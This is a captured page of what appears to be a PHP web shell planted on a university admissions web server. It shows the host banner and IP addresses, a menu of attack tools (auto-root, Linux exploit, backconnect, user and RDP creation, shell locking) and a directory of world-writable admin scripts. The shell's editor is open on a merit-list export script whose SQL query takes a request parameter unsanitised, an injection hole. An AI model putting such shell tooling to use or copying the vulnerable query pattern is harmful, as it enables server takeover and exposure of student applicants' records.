Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.145.196.141
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
pgadm2020 /
admin-src /
[ HOME SHELL ]
Name
Size
Permission
Action
.admin-src.php
3.61
KB
-rw-r--r--
ApplicationFeeSummary.php
10.25
KB
-rwxrwxrwx
ApplicationReport.php
9.96
KB
-rwxrwxrwx
Applicationfeereport.php
9.13
KB
-rwxrwxrwx
Collegewise_SeatAllotedList.ph...
11.13
KB
-rwxrwxrwx
Degreewise_SeatAllotedList.php
11.28
KB
-rwxrwxrwx
PrintDocumentVerification.php
23.98
KB
-rwxrwxrwx
SeatMatrixReport.php
24.02
KB
-rwxrwxrwx
admconfirmation.php
4.43
KB
-rwxrwxrwx
admissionMeritListExcel.php
11.08
KB
-rwxrwxrwx
admissionstatusreport.php
12.62
KB
-rwxrwxrwx
admorder_ru.php
4.53
KB
-rw-rw-r--
applicationFormReportBank.php
11.82
KB
-rw-rw-r--
applicationview.php
4.39
KB
-rwxrwxrwx
bnuAdmissionMeritListExcel.php
12.07
KB
-rwxrwxrwx
bnuAdmissionMeritListExcel_161...
11.88
KB
-rwxrwxrwx
changepasswordadmin.php
1.12
KB
-rwxrwxrwx
collegedegree.php
1.92
KB
-rwxrwxrwx
collegedetails.php
2.49
KB
-rwxrwxrwx
create-user.php
4.96
KB
-rwxrwxrwx
documentverification.php
8.75
KB
-rwxrwxrwx
dudseatallot.php
14.5
KB
-rw-rw-r--
editapp.php
1.38
KB
-rw-rw-r--
getAdmOrderDet.php
1.53
KB
-rw-r--r--
getnumword.php
9.1
KB
-rw-rw-r--
meritlist.php
6.41
KB
-rwxrwxrwx
presealallot.php
7.58
KB
-rw-rw-r--
provisionsellist.php
692
B
-rw-rw-r--
provisionsellistReport.php
13.57
KB
-rw-rw-r--
provisionsellistReport1.php
11.76
KB
-rw-rw-r--
provisionsellistReport1Downloa...
12.84
KB
-rw-rw-r--
provisionsellistReportDownload...
15
KB
-rw-rw-r--
report_merit_list.php
6.82
KB
-rwxrwxrwx
rostertable.php
490
B
-rwxrwxrwx
saveApplication.php
20.67
KB
-rwxrwxrwx
savevacantseats.php
2.57
KB
-rw-rw-r--
seatmatrix.php
8.53
KB
-rwxrwxrwx
signin.php
848
B
-rwxrwxrwx
viewpresealallot2.php
8.05
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : admissionMeritListExcel.php
<?php ini_set('max_execution_time', 60); $main_src = substr($_SERVER['SCRIPT_FILENAME'], 0, strlen($_SERVER['SCRIPT_FILENAME']) - 7); error_reporting(E_ALL); ini_set('display_errors', TRUE); ini_set('display_startup_errors', TRUE); date_default_timezone_set('GMT+5:30'); // PHPExcel_Shared_Font::setAutoSizeMethod(PHPExcel_Shared_Font::AUTOSIZE_METHOD_EXACT); if (PHP_SAPI == 'cli') die('This example should only be run from a Web Browser'); /** Include PHPExcel */ $pdf_writer_class = $main_src . '/PHPExcel/Classes/PHPExcel.php'; require_once($pdf_writer_class); function getheaders($objPHPExcel, $fileName) { //To Fit To Page while printing $objPHPExcel->getActiveSheet()->getPageSetup()->setRowsToRepeatAtTopByStartAndEnd(1); $objPHPExcel->getActiveSheet()->getPageSetup()->setFitToWidth(1); $objPHPExcel->getActiveSheet()->getPageSetup()->setFitToHeight(0); $objPHPExcel->getActiveSheet()->getPageSetup()->setHorizontalCentered(true); $objPHPExcel->getActiveSheet()->getPageSetup()->setVerticalCentered(false); ob_end_clean(); // ob_start(); // Redirect output to a client’s web browser (Excel5) header('Content-Type: application/vnd.ms-excel'); header('Content-Disposition: attachment;filename="' . $fileName . '.xls"'); header('Cache-Control: max-age=0'); // If you're serving to IE 9, then the following may be needed header('Cache-Control: max-age=1'); // If you're serving to IE over SSL, then the following may be needed header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified header('Cache-Control: cache, must-revalidate'); // HTTP/1.1 header('Pragma: public'); // HTTP/1.0 ob_end_clean(); $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5'); $objWriter->save('php://output'); } function reportAdmFeeSummary($result, $aobj_context,$degree) { $objPHPExcel = new PHPExcel(); $fileName = 'Merit_List_'.$degree; $objPHPExcel->getProperties()->setCreator("Me") ->setLastModifiedBy("Me")->setTitle("My Excel Sheet") ->setSubject("My Excel Sheet")->setDescription("Excel Sheet") ->setKeywords("Excel Sheet")->setCategory("Me"); // $objPHPExcel->setOutputEncoding('UTF-8'); // Set active sheet index to the first sheet, so Excel opens this as the first sheet $objPHPExcel->setActiveSheetIndex(0); $objPHPExcel->getActiveSheet()->setTitle($fileName); $objPHPExcel->getActiveSheet()->getPageSetup() ->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE); $get_coll_name = "select FUNIVNAME as 'FUNIVNAME',FUNIVCODE, FUNIVADD1 as 'state', pdf_logo_path, ifnull(FEXAMAPPREQ,'F') as FEXAMAPPREQ From control"; $lobj_get_coll_name = $aobj_context->mobj_db->GetRow($get_coll_name); $objPHPExcel->getActiveSheet()->getHeaderFooter() ->setOddHeader('&C&H&"-,Bold"&16' . $aobj_context->FUNIVNAME); $objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddFooter('&RPage &P of &N'); // Add column headers and make them bold $styleArray = array( 'borders' => array( 'allborders' => array( 'style' => PHPExcel_Style_Border::BORDER_THIN, 'color' => array('argb' => '000000'), ), ), ); $alpha = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'AA', 'AB', 'AC', 'AD', 'AF', 'AE', 'AF', 'AG', 'AH' ]; $objPHPExcel->getActiveSheet()->getStyle('1:1')->getFont()->setBold(true); $objPHPExcel->getActiveSheet()->getStyle('1:1')->getFont()->setSize(12); $objPHPExcel->getActiveSheet()->freezePane('A1'); $objPHPExcel->getActiveSheet()->setCellValue('A1', 'Rank No.'); $objPHPExcel->getActiveSheet()->setCellValue('B1', 'Application No.'); $objPHPExcel->getActiveSheet()->setCellValue('C1', 'Name of the Applicant'); $objPHPExcel->getActiveSheet()->setCellValue('D1', 'D / ND'); $objPHPExcel->getActiveSheet()->setCellValue('E1', 'Category'); $objPHPExcel->getActiveSheet()->setCellValue('F1', 'Pass Year'); $objPHPExcel->getActiveSheet()->setCellValue('G1', 'Optnls'); $objPHPExcel->getActiveSheet()->setCellValue('H1', 'Optnls Total'); $objPHPExcel->getActiveSheet()->setCellValue('I1', 'Optnls %'); $objPHPExcel->getActiveSheet()->setCellValue('J1', 'Cognt Total'); $objPHPExcel->getActiveSheet()->setCellValue('K1', 'Cognt %'); $objPHPExcel->getActiveSheet()->setCellValue('L1', 'Super-numerary'); $objPHPExcel->getActiveSheet()->setCellValue('M1', '*Remarks Documents to be Furnished'); $objPHPExcel->getActiveSheet()->getStyle('A1:M1')->applyFromArray($styleArray); // $objPHPExcel->getActiveSheet()->getColumnDimension('G1')->setAutoSize(true); $objPHPExcel->getActiveSheet()->getRowDimension('1')->setRowHeight(40); $objPHPExcel->getActiveSheet()->getStyle('A1:M1')->getAlignment()->setWrapText(true); $objPHPExcel->getActiveSheet()->getStyle('A1:M1')->getAlignment() ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); $objPHPExcel->getActiveSheet()->getStyle('A1:M1')->getAlignment() ->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER); $j = 2; $slNo = 1; $sum = array(); $totamt=0; $totapp=0; // setlocale(LC_ALL, 'hi_IN'); foreach ($result as $key => $value) { $objPHPExcel->getActiveSheet()->setCellValue('A' . $j, $slNo) ->getColumnDimension('A')->setwidth(5); $objPHPExcel->getActiveSheet()->setCellValue('B' . $j, $value['fappno']) ->getColumnDimension('B')->setwidth(15); $objPHPExcel->getActiveSheet()->setCellValue('C' . $j, $value['fname']) ->getColumnDimension('C')->setwidth(40); $objPHPExcel->getActiveSheet()->setCellValue('D' . $j, $value['fnd']) ->getColumnDimension('D')->setwidth(10); $objPHPExcel->getActiveSheet()->setCellValue('E' . $j, $value['fcategory']) ->getColumnDimension('E')->setwidth(10); $objPHPExcel->getActiveSheet()->setCellValue('F' . $j, $value['fqyear']) ->getColumnDimension('F')->setwidth(10); $objPHPExcel->getActiveSheet()->setCellValue('G' . $j, $value['fqcombcode']) ->getColumnDimension('G')->setwidth(10); $objPHPExcel->getActiveSheet()->setCellValue('H' . $j, $value['secmarks']) ->getColumnDimension('H')->setwidth(10); $objPHPExcel->getActiveSheet()->setCellValue('I' . $j, $value['perent']) ->getColumnDimension('I')->setwidth(10); $objPHPExcel->getActiveSheet()->setCellValue('J' . $j, $value['fsecmarks']) ->getColumnDimension('J')->setwidth(10); $objPHPExcel->getActiveSheet()->setCellValue('K' . $j, $value['fpercent']) ->getColumnDimension('K')->setwidth(10); $objPHPExcel->getActiveSheet()->setCellValue('L' . $j, $value['fspcat']) ->getColumnDimension('L')->setwidth(25); $objPHPExcel->getActiveSheet()->setCellValue('M' . $j, '') ->getColumnDimension('M')->setwidth(25); $objPHPExcel->getActiveSheet()->getRowDimension($j)->setRowHeight(30); $j++;$slNo++; } // var_dump($totamt);die(); $objPHPExcel->getActiveSheet()->getStyle('A2' . ':M' . $j)->applyFromArray($styleArray); $objPHPExcel->getActiveSheet()->getStyle('A2'.':M' . $j)->getAlignment() ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); $objPHPExcel->getActiveSheet()->getStyle('A2'.':M' . $j)->getAlignment() ->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER); $objPHPExcel->getActiveSheet()->getStyle('C2'.':C' . $j)->getAlignment() ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT); $objPHPExcel->getActiveSheet()->getStyle('L2'.':M' . $j)->getAlignment() ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT); $objPHPExcel->getActiveSheet()->getStyle('M2'.':M' . $j)->getAlignment() ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT); $objPHPExcel->getActiveSheet()->getStyle('A3' . ':M' . $j)->getAlignment() ->setVertical(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); // $objPHPExcel->getActiveSheet()->getStyle('A1:G1')->getAlignment() // ->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER); $objPHPExcel->getActiveSheet()->getRowDimension($j)->setRowHeight(30); $objPHPExcel->getActiveSheet()->getStyle('A3' . ':M' . $j)->getAlignment() ->setWrapText(true); getheaders($objPHPExcel, $fileName); } function getAdmissionMeritList($aobj_context) { $fdept = $aobj_context->mobj_data["fdept"]; $query = "select s.fappno,s.fname,fcategory,fqyear,fqcombcode,m.fsubcode, ifnull(m.famo,0)+ifnull(m.fbmo,0)+ifnull(m.fcmo,0)+ifnull(m.fdmo,0)+ifnull(m.femo,0)+ifnull(m.ffmo,0) as fsecmarks, round(((ifnull(m.famo,0)+ifnull(m.fbmo,0)+ifnull(m.fcmo,0)+ifnull(m.fdmo,0)+ifnull(m.femo,0)+ifnull(m.ffmo,0))/(ifnull(m.famm,0)+ifnull(m.fbmm,0)+ifnull(m.fcmm,0)+ifnull(m.fdmm,0)+ifnull(m.femm,0)+ifnull(m.ffmm,0))*100),2) as fpercent, if(fsevenkar='Yes','D','ND') as fnd, a.secmarks, a.perent, concat( if(s.fgirlchild='Yes','SG, ',''), if(s.fhk='Yes','KK, ',''), if(s.fkashmig='Yes','KM, ',''), if(s.fjkstud='Yes','JK, ',''), if(s.fruralten='Yes','RL, ',''), if(s.fkantem='Yes','KM, ',''), if(s.fsonbcu='Yes','BCE, ',''), if(s.fhandicap='Yes','DA, ',''), if(s.fsports='Yes','SP, ',''), if(s.fncc='Yes','NCC, ',''), if(s.fnss='Yes','NSS, ',''), if(s.fdefence='Yes','DF, ',''), if(s.fculture='Yes','CL, ',''), if(s.fgah='Yes','GK/HK, ','')) as fspcat from entstudadm s inner join entoptdeg d on s.fappno = d.fappno inner join entprevmarks m on s.fappno = m.fappno and s.fqdegree = m.fdegree #and s.fqcombcode = m.fcombcode inner join enteligdeg ed on d.fdegree = ed.fdegree and m.fsubcode = ed.fsubcode and m.fdegree = ed.fprevdeg inner join (select m.fappno,m.fdegree,m.fcombcode, sum(ifnull(m.famm,0)+ifnull(m.fbmm,0)+ifnull(m.fcmm,0)+ifnull(m.fdmm,0)+ifnull(m.femm,0)+ifnull(m.ffmm,0)) as maxmarks, sum(ifnull(m.famo,0)+ifnull(m.fbmo,0)+ifnull(m.fcmo,0)+ifnull(m.fdmo,0)+ifnull(m.femo,0)+ifnull(m.ffmo,0)) as secmarks, round(((sum(ifnull(m.famo,0)+ifnull(m.fbmo,0)+ifnull(m.fcmo,0)+ifnull(m.fdmo,0)+ifnull(m.femo,0)+ifnull(m.ffmo,0)) / sum(ifnull(m.famm,0)+ifnull(m.fbmm,0)+ifnull(m.fcmm,0)+ifnull(m.fdmm,0)+ifnull(m.femm,0)+ifnull(m.ffmm,0)))*100),2) as perent from entprevmarks m inner join entstudadm s on m.fappno = s.fappno and m.fdegree = s.fqdegree and m.fcombcode = s.fqcombcode where ifnull(s.fpaystatus,'') = 'success' group by m.fappno) a on s.fappno = a.fappno and s.fqdegree = a.fdegree and s.fqcombcode = a.fcombcode where ifnull(s.fpaystatus,'') = 'success' and d.fdegree = '{$fdept}' group by s.fappno,ed.fsubcode order by fpercent desc,perent desc"; $result = $aobj_context->mobj_db->GetAll($query); reportAdmFeeSummary($result, $aobj_context,$fdept); }
Close